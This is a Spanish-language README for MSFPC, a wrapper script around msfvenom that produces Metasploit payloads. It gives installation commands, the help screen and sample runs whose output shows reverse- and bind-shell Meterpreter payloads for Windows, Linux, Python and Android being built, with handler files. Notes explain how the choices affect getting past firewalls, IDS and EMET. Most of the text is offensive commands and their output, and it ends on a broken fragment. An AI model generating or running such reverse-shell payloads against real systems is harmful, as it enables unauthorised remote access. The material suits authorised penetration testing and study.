
Creador de Payloads MSFvenom (MSFPC)
Una forma rápida de generar varios payloads "básicos" de Meterpreter mediante msfvenom (parte del framework Metasploit).
MSFvenom Payload Creator (MSFPC) es un envoltorio para generar múltiples tipos de payloads, basado en la elección del usuario. La idea es ser lo más simple posible (requiriendo solo una entrada) para producir su payload.
Automatizando completamente msfvenom y Metasploit es el objetivo final (así como poder automatizar el propio MSFPC). El resto es hacer la vida del usuario lo más fácil posible (p. ej., menú de selección de IP, archivo de recursos/comandos de msfconsole, producción por lotes de payloads y la capacidad de ingresar cualquier argumento en cualquier orden (en varios formatos/patrones)).
La única entrada necesaria del usuario debería ser definir el payload que desean, ya sea por la plataforma (p. ej., windows) o por la extensión de archivo que deseen que tenga el payload (p. ej., exe).
eth0.wan.loop.batch (para todo), batch msf (para cada opción de Meterpreter), batch staged (para cada payload por etapas), o batch cmd stageless (¡para cada prompt de comando sin etapas)!Nota: Esto NO intentará evadir ninguna solución antivirus en ninguna etapa.

## Instalación
$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc
MSFPC ya está empaquetado en Kali Rolling, así que todo lo que tienes que hacer es:
root@kali:~# apt install -y msfpc
## Ayuda
$ bash msfpc.sh -h -v
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
msfpc.sh <TIPO> (<DOMINIO/IP>) (<PUERTO>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Ejemplo: msfpc.sh windows 192.168.1.10 # Windows e IP manual.
msfpc.sh elf bind eth0 4444 # Linux, IP de eth0 y puerto manual.
msfpc.sh stageless cmd py https # Python, prompt de comando sin etapas.
msfpc.sh verbose loop eth1 # Un payload para cada tipo, usando IP de eth1.
msfpc.sh msf batch wan # Todos los payloads posibles de Meterpreter, usando IP WAN.
msfpc.sh help verbose # Pantalla de ayuda, con aún más información.
<TIPO>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
En lugar de poner <DOMINIO/IP>, puedes poner una interfaz y MSFPC detectará esa dirección IP.
Si falta <DOMINIO/IP>, se usará por defecto el menú de IP.
Si falta <PUERTO>, se usará por defecto 443.
<CMD> es un prompt de comando/terminal estándar/nativo para interactuar.
<MSF> es un shell multiplataforma personalizado, obteniendo todo el poder de Metasploit.
Si falta <CMD/MSF>, se usará por defecto <MSF> cuando sea posible.
Nota: Metasploit (todavía) no soporta <CMD/MSF> para todos los formatos <TIPO>.
Los payloads <CMD> son generalmente más pequeños que <MSF> y más fáciles de evadir EMET. Limitan el soporte de módulos/scripts posteriores de Metasploit.
Los payloads <MSF> son generalmente mucho más grandes que <CMD>, ya que vienen con más características.
<BIND> abre un puerto en el lado del objetivo, y el atacante se conecta a ellos. Comúnmente bloqueado por reglas de firewall de entrada en el objetivo.
<REVERSE> hace que el objetivo se conecte de vuelta al atacante. El atacante necesita un puerto abierto. Bloqueado por reglas de firewall de salida en el objetivo.
Si falta <BIND/REVERSE>, se usará por defecto <REVERSE>.
<BIND> permite que el atacante se conecte cuando lo desee. <REVERSE> necesita que el objetivo se conecte repetidamente de vuelta para mantener el acceso permanentemente.
<STAGED> divide el payload en partes, haciéndolo más pequeño pero dependiente de Metasploit.
<STAGELESS> es el payload completo independiente. Más 'estable' que <STAGED>.
Si falta <STAGED/STAGELESS>, se usará por defecto <STAGED> cuando sea posible.
Nota: Metasploit (todavía) no soporta <STAGED/STAGELESS> para todos los formatos <TIPO>.
<STAGED> son 'mejores' en entornos de bajo ancho de banda/alta latencia.
<STAGELESS> se consideran 'más sigilosos' al evadir protecciones antivirus. <STAGED> pueden funcionar 'mejor' con IDS/IPS.
Más información: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
https://www.offensive-security.com/metasploit-unleashed/payload-types/
https://www.offensive-security.com/metasploit-unleashed/payloads/
<TCP> es el método estándar para conectarse de vuelta. Es el más compatible con TIPOS ya que es RAW. Puede ser detectado fácilmente en IDS.
<HTTP> hace que la comunicación parezca tráfico HTTP (sin cifrar). Útil para inspección de paquetes, que limita el acceso al puerto según el protocolo - p. ej., TCP 80.
<HTTPS> hace que la comunicación parezca tráfico HTTP cifrado usando SSL. Útil para inspección de paquetes, que limita el acceso al puerto según el protocolo - p. ej., TCP 443.
<FIND_PORT> intentará todos los puertos en la máquina objetivo, para encontrar una salida. Útil con reglas de firewall de entrada/salida estrictas. Cambiará a 'allports' según <TIPO>.
Si falta <TCP/HTTP/HTTPS/FIND_PORT>, se usará por defecto <TCP>.
Al alterar el tráfico, como <HTTP> e incluso más <HTTPS>, se ralentizará la comunicación y aumentará el tamaño del payload.
Más información: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
<BATCH> generará tantas combinaciones como sea posible: <TIPO>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> y <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> solo creará uno de cada <TIPO>.
<VERBOSE> mostrará más información.
$
$ bash msfpc.sh windows 192.168.1.10
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.1.10
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] windows meterpreter creado: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] Archivo handler de MSF: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Ejecutar: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] ¿Servidor web rápido (para transferencia de archivos)?: python2 -m SimpleHTTPServer 8080
[*] ¡Hecho!
$
$ ./msfpc.sh elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
--platform linux -a x86 -e generic/none LPORT=4444 \
> '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] shell linux creado: '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] Archivo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Tamaño: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
[i] Archivo handler de MSF: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[i] Ejecutar: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[?] ¿Servidor web rápido (para transferencia de archivos)?: python2 -m SimpleHTTPServer 8080
[*] ¡Hecho!
$
$ msfpc stageless cmd py tcp
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] ¿Qué interfaz usar - dirección IP?:
[i] 1.) eth0 - 192.168.103.142
[i] 2.) lo - 127.0.0.1
[i] 3.) wan - 31.204.154.174
[?] Selecciona 1-3, interfaz o dirección IP: 1
[i] IP: 192.168.103.142
[i] PORT: 443
[i] TYPE: python (python/shell_reverse_tcp)
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
--platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
> '/root/python-shell-stageless-reverse-tcp-443.py'
[i] shell python creado: '/root/python-shell-stageless-reverse-tcp-443.py'
[i] Archivo handler de MSF: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[i] Ejecutar: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[?] ¿Servidor web rápido (para transferencia de archivos)?: python2 -m SimpleHTTPServer 8080
[*] ¡Hecho!
$
Nota: IP WAN eliminada.
$ ./msfpc.sh loop wan
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Modo Loop. Creando uno de cada TIPO, con valores por defecto
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: xxx.xxx.xxx.xxx
[i] PORT: 443
[i] TYPE: android (android/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p android/meterpreter/reverse_tcp \
LHOST=xxx.xxx.xxx.xxx LPORT=443 \
> '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] meterpreter android creado: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] Archivo handler de MSF: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[i] Ejecutar: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[?] ¿Servidor web rápido (para transferencia de archivos)?: python2 -m SimpleHTTPServer 8080
[*] ¡Hecho!
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
...SNIP...
[*] ¡Hecho!
$
Nota: IP WAN eliminada.

powershell_bind_tcp y bind_perl etc)